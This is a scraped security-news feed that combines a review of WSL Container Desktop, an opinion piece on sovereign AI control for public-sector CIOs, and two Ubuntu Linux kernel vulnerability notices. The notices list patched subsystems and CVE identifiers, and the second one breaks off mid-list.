<p class="wp-block-paragraph">If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the <a href="https://github.com/mhackermsft/wslcontainerdesktop" data-type="link" data-id="https://github.com/mhackermsft/wslcontainerdesktop">WSL Container Desktop</a>, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the <a href="https://github.com/microsoft/windowsappsdk" data-type="link" data-id="https://github.com/microsoft/windowsappsdk">Windows App SDK</a> installed, and some features require access to the Azure CLI.</p>



<p class="wp-block-paragraph">WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.</p>



<p class="wp-block-paragraph">Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.</p>



<p class="wp-block-paragraph">Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.</p>



<h2 class="wp-block-heading">Run Kubernetes inside Windows for cloud-native development</h2>



<p class="wp-block-paragraph">One of the more useful features of WSL Container Desktop is the ability to quickly stand up a <a href="https://k3s.io/" data-type="link" data-id="https://k3s.io/">K3s</a> Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own <a href="https://www.infoworld.com/article/3964051/headlamp-a-multicluster-kubernetes-user-interface.html">Headlamp UI</a>, making it easy to go between your development environment and a production Kubernetes cluster.</p>



<p class="wp-block-paragraph">It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.</p>



<p class="wp-block-paragraph">The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.</p>
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<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Thu, 23 Jul 2026 11:05:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[USN-8597-1: Linux kernel (IBM) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:46:09 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVME drivers;
  - PCI subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Framebuffer layer;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - SMB network file system;
  - SquashFS file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - CPU frequency scaling framework;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - Network traffic control;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - ALSA framework;
  - FireWire sound drivers;
  - Creative Sound Blaster X-Fi driver;
  - SoC audio core drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2023-52682, CVE-2023-52737, CVE-2023-53545, CVE-2023-53629,
CVE-2024-27389, CVE-2024-35865, CVE-2024-36898, CVE-2024-36922,
CVE-2024-41079, CVE-2024-46715, CVE-2024-46770, CVE-2024-47809,
CVE-2024-50012, CVE-2024-53221, CVE-2024-56557, CVE-2024-56584,
CVE-2024-56657, CVE-2024-56719, CVE-2024-56727, CVE-2025-21712,
CVE-2025-22107, CVE-2025-23141, CVE-2025-38006, CVE-2025-38105,
CVE-2025-38192, CVE-2025-38562, CVE-2025-38626, CVE-2025-38659,
CVE-2025-38710, CVE-2025-39748, CVE-2025-39764, CVE-2025-40005,
CVE-2025-40016, CVE-2025-40103, CVE-2025-40323, CVE-2025-68206,
CVE-2025-68239, CVE-2025-68256, CVE-2025-68307, CVE-2025-68358,
CVE-2025-71150, CVE-2025-71161, CVE-2025-71221, CVE-2025-71232,
CVE-2025-71233, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237,
CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266,
CVE-2025-71267, CVE-2025-71274, CVE-2025-71287, CVE-2025-71292,
CVE-2026-23031, CVE-2026-23066, CVE-2026-23100, CVE-2026-23113,
CVE-2026-23141, CVE-2026-23157, CVE-2026-23169, CVE-2026-23204,
CVE-2026-23220, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23339, CVE-2026-23340, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23362, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23370, CVE-2026-23372,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23388,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23420, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439,
CVE-2026-23442, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31400, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31411, CVE-2026-31415, CVE-2026-31416,
CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31427, CVE-2026-31428,
CVE-2026-31433, CVE-2026-31447, CVE-2026-31450, CVE-2026-31452,
CVE-2026-31454, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31494, CVE-2026-31495, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31507, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31577,
CVE-2026-31578, CVE-2026-31581, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31676,
CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683,
CVE-2026-31684, CVE-2026-31687, CVE-2026-31694, CVE-2026-31695,
CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699,
CVE-2026-31701, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721,
CVE-2026-31726, CVE-2026-31728, CVE-2026-31737, CVE-2026-31738,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31762, CVE-2026-31763, CVE-2026-31770, CVE-2026-31773,
CVE-2026-31778, CVE-2026-31780, CVE-2026-31781, CVE-2026-43014,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43046, CVE-2026-43047, CVE-2026-43050,
CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43058,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43065,
CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43085, CVE-2026-43089, CVE-2026-43093, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43110, CVE-2026-43111, CVE-2026-43113, CVE-2026-43123,
CVE-2026-43124, CVE-2026-43130, CVE-2026-43132, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200,
CVE-2026-43202, CVE-2026-43203, CVE-2026-43206, CVE-2026-43209,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43233,
CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246,
CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268,
CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275,
CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43295, CVE-2026-43296, CVE-2026-43302,
CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315,
CVE-2026-43316, CVE-2026-43327, CVE-2026-43329, CVE-2026-43333,
CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363,
CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43427,
CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432,
CVE-2026-43439, CVE-2026-43445, CVE-2026-43449, CVE-2026-43450,
CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43496, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45842, CVE-2026-45843, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45864, CVE-2026-45873,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902,
CVE-2026-45904, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46259, CVE-2026-46273,
CVE-2026-46274, CVE-2026-46275, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46319)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-2: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:31:09 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
